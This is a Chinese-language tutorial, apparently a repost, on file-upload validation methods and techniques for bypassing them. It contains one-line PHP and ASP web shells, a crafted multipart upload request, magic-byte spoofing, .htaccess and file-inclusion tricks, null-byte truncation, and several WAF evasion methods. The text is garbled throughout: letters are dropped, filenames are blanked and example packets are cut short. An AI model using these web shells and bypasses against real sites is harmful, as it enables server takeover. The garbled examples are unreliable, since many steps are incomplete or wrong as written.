⽂件上传校验⽅式及绕过思路
⽂件上传校验⽅式
客户端javascript校验(⼀般只校验后缀名)
服务端校验
⽂件头content-type字段校验(image/gif)
⽂件内容头校验(GIF89a)
后缀名⿊名单校验
后缀名⽩名单校验
⾃定义正则校验
WAF设备校验(根据不同的WAF产品⽽定)
1.客户端校验
⼀般都是在⽹页上写⼀段javascript脚本,校验上传⽂件的后缀名,有⽩名单形式也有⿊名单形式。
判断⽅式:在浏览加载⽂件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的⽂件,⽽此时并没有发送
数据包。
2.服务端校验
2.1content-type字段校验
代码对上传⽂件的⽂件类型进⾏了判断,如果不是图⽚类型,返回错误
<?php
if($_FILES['urfile']['type']!="image/gif")#这⾥对上传的⽂件类型进⾏判断,如果不是image/gif类型便返回错误。
{
echo"Sorry,weonlyallowuploadingGIFimages";
exit;
}
$uploaddir='uploads/';
$uploadfile=$me($_FILES['urfile']['name']);
if(move_uploaded_file($_FILES['urfile']['tmp_name'],$uploadfile))
{
echo"Fileisvalid,andwassuccessfullyuploaded.n";
}el{
echo"Fileuploadingfailed.n";
}
?>
2.2⽂件头校验
可以通过⾃⼰写正则匹配,判断⽂件头内容是否符合要求,这⾥举⼏个常见的⽂件头对应关系:
(1).JPEG;.JPE;.JPG:”JPGGraphicFile”
(2).gif:”GIF89A”
(3).zip:”ZipCompresd”
(4).doc;.xls;.xlt;.ppt;.apr:”MSCompoundDocumentv1orLotusApproachAPRfile”
⽂件上传绕过⽅式
客户端绕过(抓包改包)
服务端绕过
⽂件类型
⽂件头
⽂件后缀名
配合⽂件包含漏洞绕过
配合服务器解析漏洞绕过
CMS、编辑器漏洞绕过
配合操作系统⽂件命名规则绕过
配合其他规则绕过
WAF绕过
1.客户端绕过
可以利⽤burp抓包改包,先上传⼀个gif类型的⽊马,然后通过burp将其改为asp/php/jsp后缀名即可。
2.服务端绕过
2.1⽂件类型绕过
我们可以通过抓包,将content-type字段改为image/gif
POST/P/1.1
TE:deflate,gzip;q=0.3
Connection:TE,clo
Host:localhost
Ur-Agent:libwww-perl/5.803
Content-Type:multipart/form-data;boundary=xYzZY
Content-Length:155
--xYzZY
Content-Disposition:form-data;name="urfile";filename=""
Content-Type:image/gif(原为Content-Type:text/plain)
<?phpsystem($_GET['command']);?>
--xYzZY-
2.2⽂件头绕过
在⽊马内容基础上再加了⼀些⽂件信息,有点像下⾯的结构
GIF89a<?phpphpinfo();?>
2.3⽂件后缀名绕过
前提:⿊名单校验
⿊名单检测:⼀般有个专门的blacklist⽂件,⾥⾯会包含常见的危险脚本⽂件。
绕过⽅法:
(1)找⿊名单扩展名的漏⽹之鱼-⽐如asa和cer之类
(2)可能存在⼤⼩写绕过漏洞-⽐如aSp和pHp之类
能被解析的⽂件扩展名列表:
jspjspxjspf
aspasaceraspx
phpphpphp3php4
exeexee
3.配合⽂件包含漏洞
前提:校验规则只校验当⽂件后缀名为asp/php/jsp的⽂件内容是否为⽊马。
绕过⽅式:(这⾥拿php为例,此漏洞主要存在于PHP中)
(1)先上传⼀个内容为⽊马的txt后缀⽂件,因为后缀名的关系没有检验内容;
(2)然后再上传⼀个.php的⽂件,内容为<?phpInclude(“上传的txt⽂件路径”);?>
此时,这个php⽂件就会去引⽤txt⽂件的内容,从⽽绕过校验,下⾯列举包含的语法:
#PHP
<?phpInclude("上传的txt⽂件路径");?>
#ASP
#JSP
or
<%@includefile="上传的txt⽂件路径"%>
4.配合服务器解析漏洞
5.配合操作系统⽂件命令规则
(1)上传不符合windows⽂件命名规则的⽂件名
.
(空格)
:
::$DATA
::$DATA…….
会被windows系统⾃动去掉不符合规则符号后⾯的内容。
(2)linux下后缀名⼤⼩写
在linux下,如果上传php不被解析,可以试试上传pHp后缀的⽂件名。
6.配合其他规则
(1)0x00截断:基于⼀个组合逻辑漏洞造成的,通常存在于构造上传⽂件路径的时候
(0x00).jpg
%
路径/upload/(0x00),⽂件名,结合/upload/(0x00)/
伪代码演⽰:
name=getname(httprequest)//假如这时候获取到的⽂件名是(asp后⾯为0x00)
type=gettype(name)//⽽在gettype()函数⾥处理⽅式是从后往前扫描扩展名,所以判断为jpg
if(type==jpg)
SaveFileToPath(,name)//但在这⾥却是以0x00作为⽂件名截断
//最后以存⼊路径⾥
(2).htaccesss
上传当前⽬录的.htaccess⽂件
例如内容为:AddTypeapplication/(上传的jpg均以php执⾏)
把.htaccess上传后,且上传成功后,再上传内容为⼀句话的jpg⽂件
绕过
7.1垃圾数据
有些主机WAF软件为了不影响web服务器的性能,会对校验的⽤户数据设置⼤⼩上限,⽐如1M。此种情况可以构造⼀个⼤⽂件,前⾯1M
的内容为垃圾内容,后⾯才是真正的⽊马内容,便可以绕过WAF对⽂件内容的校验;
当然也可以将垃圾数据放在数据包最开头,这样便可以绕过对⽂件名的校验。
可以将垃圾数据加上Content-Disposition参数后⾯,参数内容过长,可能会导致waf检测出错。
7.2filename
针对早期版本安全狗,可以多加⼀个filename
或者将filename换位置,在IIS6.0下如果我们换⼀种书写⽅式,把filename放在其他地⽅:
7.3POST/GET
有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。
此种情况可以上传⼀个POST型的数据包,抓包将POST改为GET。
7.4以上⽅式
针对WAF,以上介绍的服务器解析漏洞、⽂件包含漏洞等都可以尝试绕过。
7.5利⽤waf本⾝缺陷
删除实体⾥⾯的Conten-Type字段
第⼀种是删除Content整⾏,第⼆种是删除C后⾯的字符。删除掉ontent-Type:image/jpeg只留下c,将.php加c后⾯即可,但是要注意
额,双引号要跟着。
正常包:Content-Disposition:form-data;name="image";filename=""Content-Type:image/png
构造包:Content-Disposition:form-data;name="image";filename="
"
删除Content-Disposition字段⾥的空格
增加⼀个空格导致安全狗被绕过案列:
Content-Type:multipart/form-data;boundary=—————————47173
尝试在boundary后⾯加个空格或者其他可被正常处理的字符:
boundary=—————————47173
修改Content-Disposition字段值的⼤⼩写
Boundary边界不⼀致
每次⽂件上传时的Boundary边界都是⼀致的:
Content-Type:multipart/form-data;boundary=---------------------------47173
Content-Length:253
-----------------------------47173
Content-Disposition:form-data;name="file1";filename=""
Content-Type:application/octet-stream
<%evalrequest("a")%>
-----------------------------47173--
但如果容器在处理的过程中并没有严格要求⼀致的话可能会导致⼀个问题,两段Boundary不⼀致使得waf认为这段数据是⽆意义的,可是
容器并没有那么严谨:
Win2k3+IIS6.0+ASP
⽂件名处回车
多个Content-Disposition
在IIS的环境下,上传⽂件时如果存在多个Content-Disposition的话,IIS会取第⼀个Content-Disposition中的值作为接收参数,⽽如果
waf只是取最后⼀个的话便会被绕过,Win2k8+IIS7.0+PHP
利⽤NTFSADS特性
ADS是NTFS磁盘格式的⼀个特性,⽤于NTFS交换数据流。在上传⽂件时,如果waf对请求正⽂的filename匹配不当的话可能会导致绕过
⽂件重命名绕过
如果web程序会将filename除了扩展名的那段重命名的话,那么还可以构造更多的点、符号等等。
特殊的长⽂件名绕过
⽂件名使⽤⾮字母数字,⽐如中⽂等最⼤程度的拉长,不⾏的话再结合⼀下其他的特性进⾏测试:
;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王
王王王王王王王王王王王王王王王王王.jpg
反删除
将下图file1改成了file4,这样就不会把这个⽂件删除了。(JCMS漏洞)
本文发布于:2022-11-22 16:45:07,感谢您对本站的认可!
本文链接:http://www.wtabcd.cn/fanwen/fan/90/342.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
留言与评论(共有 0 条评论) |